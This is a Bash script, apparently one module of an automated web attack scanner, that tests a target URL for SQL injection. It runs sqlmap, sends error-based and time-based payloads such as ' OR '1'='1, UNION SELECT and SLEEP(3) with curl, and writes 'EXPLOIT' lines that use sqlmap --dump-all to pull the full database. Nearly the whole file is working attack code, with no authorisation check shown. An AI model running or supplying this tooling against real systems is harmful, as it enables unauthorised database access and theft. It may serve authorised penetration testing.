84 lines
3.2 KiB
Bash
Executable File
84 lines
3.2 KiB
Bash
Executable File
#!/usr/bin/env bash
|
|
# Vector 01: SQL Injection
|
|
# Desc: Database injection attacks (basic, blind, time-based, error-based)
|
|
# Detect: Forms, login pages, URL parameters, search bars
|
|
# Severity: CRITICAL
|
|
# Tools: sqlmap, curl
|
|
|
|
vector_sqli() {
|
|
local target="$1"
|
|
local report="$2"
|
|
local domain=$(echo "$target" | sed 's|https\?://||' | cut -d/ -f1)
|
|
|
|
print_info "Testing SQL Injection vectors..."
|
|
|
|
# Find injectable parameters
|
|
local params=$(curl -s "$target" 2>/dev/null | sed -n 's/.*name="\([^"]*\)".*/\1/p' | sed 's/name="//;s/"//' | head -10)
|
|
local url_params=$(echo "$target" | sed -n 's/.*[?&]\([^=]*\)=.*/\1/p' | head -10)
|
|
|
|
local findings=0
|
|
|
|
# 1. Basic SQLi test with sqlmap
|
|
if command -v sqlmap &>/dev/null; then
|
|
print_sub "Running sqlmap (basic scan)..."
|
|
local sqlmap_out=$(timeout 120 sqlmap -u "$target" --batch --level=2 --risk=2 --random-agent \
|
|
--output-dir="$REPORTS_DIR/.sqlmap" 2>&1 | tail -100)
|
|
|
|
if echo "$sqlmap_out" | grep -qi "Parameter.*GET\|injectable\|vulnerable\|Type:"; then
|
|
local injectable=$(echo "$sqlmap_out" | perl -nle 'print "$1 ($2)" while /(Parameter: [^ ]+ \(|Type: [^)]+\))/g' | head -5)
|
|
print_find "SQL Injection!" "$injectable"
|
|
|
|
# Save finding
|
|
echo "SEVERITY: CRITICAL
|
|
VECTOR: SQL Injection
|
|
DETAIL: sqlmap confirmed injectable parameters: $injectable (target: $target)
|
|
EVIDENCE: $injectable
|
|
EXPLOIT: sqlmap -u \"$target\" --batch --dump-all --random-agent" > "$REPORTS_DIR/.finding_$(date +%s)_sqli.txt"
|
|
|
|
findings=$((findings + 1))
|
|
fi
|
|
fi
|
|
|
|
# 2. Manual error-based detection
|
|
print_sub "Checking error-based SQLi..."
|
|
local error_payloads=("'" "1'" "1=1--" "1' OR '1'='1" '" OR "1"="1' "' UNION SELECT NULL--")
|
|
|
|
for payload in "${error_payloads[@]}"; do
|
|
local test_url="${target}${target}"
|
|
[[ "$target" == *\?* ]] && test_url="${target}&q=${payload}" || test_url="${target}?q=${payload}"
|
|
|
|
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
|
if echo "$response" | grep -qi "sql\|mysql\|syntax\|ora-\|you have an error\|unclosed\|quotation mark\|odbc\|driver\|mysql_fetch\|pg_"; then
|
|
print_find "Error-based SQLi confirmed!" "Database error messages detected with payload: $payload"
|
|
findings=$((findings + 1))
|
|
break
|
|
fi
|
|
done
|
|
|
|
# 3. Time-based blind detection
|
|
print_sub "Checking time-based blind SQLi..."
|
|
local sleep_test="${target}"
|
|
if [[ "$target" == *\?* ]]; then
|
|
sleep_test="${target}&id=1' OR SLEEP(3)--"
|
|
else
|
|
sleep_test="${target}?id=1' OR SLEEP(3)--"
|
|
fi
|
|
|
|
local start_time=$(date +%s)
|
|
curl -s --connect-timeout 3 --max-time 10 "$sleep_test" >/dev/null 2>&1
|
|
local end_time=$(date +%s)
|
|
local elapsed=$((end_time - start_time))
|
|
|
|
if [ "$elapsed" -ge 3 ]; then
|
|
print_find "Time-based blind SQLi confirmed!" "Response delayed ${elapsed}s with SLEEP(3) payload"
|
|
echo "SEVERITY: CRITICAL
|
|
VECTOR: SQL Injection (Time-based Blind)
|
|
DETAIL: Time-based blind SQLi confirmed on $target
|
|
EVIDENCE: Response delayed ${elapsed}s with SLEEP(3) payload
|
|
EXPLOIT: sqlmap -u \"$target\" --batch --technique=T --dump --random-agent" > "$REPORTS_DIR/.finding_$(date +%s)_time-sqli.txt"
|
|
findings=$((findings + 1))
|
|
fi
|
|
|
|
return $findings
|
|
}
|